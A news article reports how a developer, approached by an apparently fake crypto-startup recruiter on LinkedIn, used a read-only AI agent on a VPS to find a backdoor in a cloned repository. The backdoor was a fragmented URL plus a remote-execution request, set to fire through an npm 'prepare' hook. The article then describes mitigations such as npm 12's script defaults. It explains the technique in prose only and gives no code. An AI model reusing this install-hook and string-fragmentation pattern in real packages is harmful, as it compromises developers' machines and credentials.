"Don't run this code, just walk away because there's a trap." Roman Imankulov says that was the near‑instant response from his local AI agent when he asked it to vet a cloned repository before touching it on his workstation.
How the interaction began: a LinkedIn recruiter and a cloned repo on Hetzner
Imankulov, a Python developer, was contacted on LinkedIn by someone claiming to be a recruiter for a small crypto startup who wanted help with proof‑of‑concept code that "didn't work." The recruiter asked him to investigate an issue with a deprecated Node module and suggested the company needed a lead engineer. Something about the request felt off to Imankulov, who decided not to run the code locally. Instead he spun up a VPS on Hetzner, cloned the repository there, and instructed a Pi coding agent (running Codex) to perform a read‑only analysis of the codebase.
The payload and how it would have triggered
The AI agent flagged a file, app/test/index.js, which contained a disguised backdoor: a server URL broken into fragments to look like test configuration, plus a network request that would execute whatever the remote server returned. The repository's package.json also included a "prepare" post‑installation lifecycle hook designed to run after npm install—meaning simply running npm install would have been sufficient to trigger the backdoor.
The referenced malicious repository is no longer accessible, presumably removed by GitHub after Imankulov reported it, though a clone of the repository remains reachable. The commits in the malicious repo appeared to originate from a developer with an established web presence, but when Imankulov contacted that author he was told he had been impersonated on GitHub more than once and did not write the code. The LinkedIn recruiter’s profile referenced a real arts journalist; Imankulov believes the profile was faked. His interactions with the recruiter suggested technical knowledge that the recruiter’s work history did not reflect.
Why this technique works: lifecycle scripts and obfuscation
Devashri Datta, an independent open source and security architect, explained by email that the attack "hijacks standard developer workflows." By burying execution logic in the prepare lifecycle hook in package.json, the payload triggers automatically during dependency resolution—relying on developers to run npm install on autopilot. Datta also noted deliberate string fragmentation used to assemble the malicious URL was intended to defeat static analysis tools that look for hardcoded indicators of compromise.
GitHub, which maintains npm, has acknowledged that install‑time lifecycle scripts are a primary code‑execution surface in the npm ecosystem. Leo Balter, a GitHub product manager, wrote in a community discussion that "Every npm install runs scripts from every transitive dependency, so a single compromised package anywhere in your tree can execute arbitrary code on a developer machine or CI runner."
Defensive use of AI and changes in tooling
Imankulov credited his AI agent with spotting the exact vulnerability he had skimmed past: "I opened this code myself and I skimmed through this code and it looked to me like just, you know, a regular sloppy file... But the agent in the very same file found the exact vulnerability that I overlooked," he said. Datta framed the episode as part of a broader shift in code‑review hygiene: instead of sandboxing or manual review alone, Imankulov "deployed a local AI agent in a constrained, read‑only environment to analyze the codebase before executing anything." She argued that an AI agent used defensively at the developer endpoint can quickly surface anomalous behavior without the social pressures that can cause humans to miss signs.
Tooling responses are already in motion. GitHub is preparing to release npm 12 next month and will default the allowScripts setting to off. According to GitHub, "npm install will no longer execute preinstall, install, or postinstall scripts from dependencies unless they are explicitly allowed in your project." Balter described that opt‑in change as closing a major path for arbitrary code execution while keeping script runs "one command away for the packages you trust." Imankulov said he has switched to pnpm to avoid executing scripts by default on his machines.
What this means for developers, enterprises, and maintainers
- Developers and individual contributors: Treat third‑party code run during interviews or recruitment interactions as potentially hostile; Imankulov’s workflow—cloning into an isolated VPS and running a read‑only AI analysis—illustrates one defensive pattern that caught the backdoor.
- Enterprises and security teams: Datta warned that attackers are "shifting left all the way to individual engineering endpoints" and that compromised developer machines often hold active SSH keys and cloud tokens. She recommended enforcing technical guardrails such as isolated developer containers or secure cloud workstations for evaluating untrusted code.
- Toolmakers and package ecosystems: GitHub’s planned npm 12 change—defaulting allowScripts to off—is a concrete, near‑term mitigation that aims to reduce install‑time script execution across dependency trees, while preserving opt‑in behavior for trusted packages.
Earlier this month, The Register reported that North Korean‑linked scammers were running campaigns that used fake interviews and job offers to target developer accounts; other developers have also reported nearly falling for similar traps and credited AI agents with saving them. LinkedIn data cited by The Register shows platform account restrictions rising: from 86,000 accounts restricted in January–June 2021 to 266,000 in the prior six months, and 386,000 accounts restricted after user reports in January–June 2025.
The incident is at once small and illustrative: one developer’s intuition combined with an AI code review prevented what could have been a routine compromise of a developer workstation via a prepare hook. With npm 12 due to change default behavior and with more defenders experimenting with read‑only AI analysis and isolated evaluation environments, the immediate attack vector described here has identifiable mitigations—though the creativity of social engineering and obfuscation techniques that target developer workflows will likely continue to evolve.
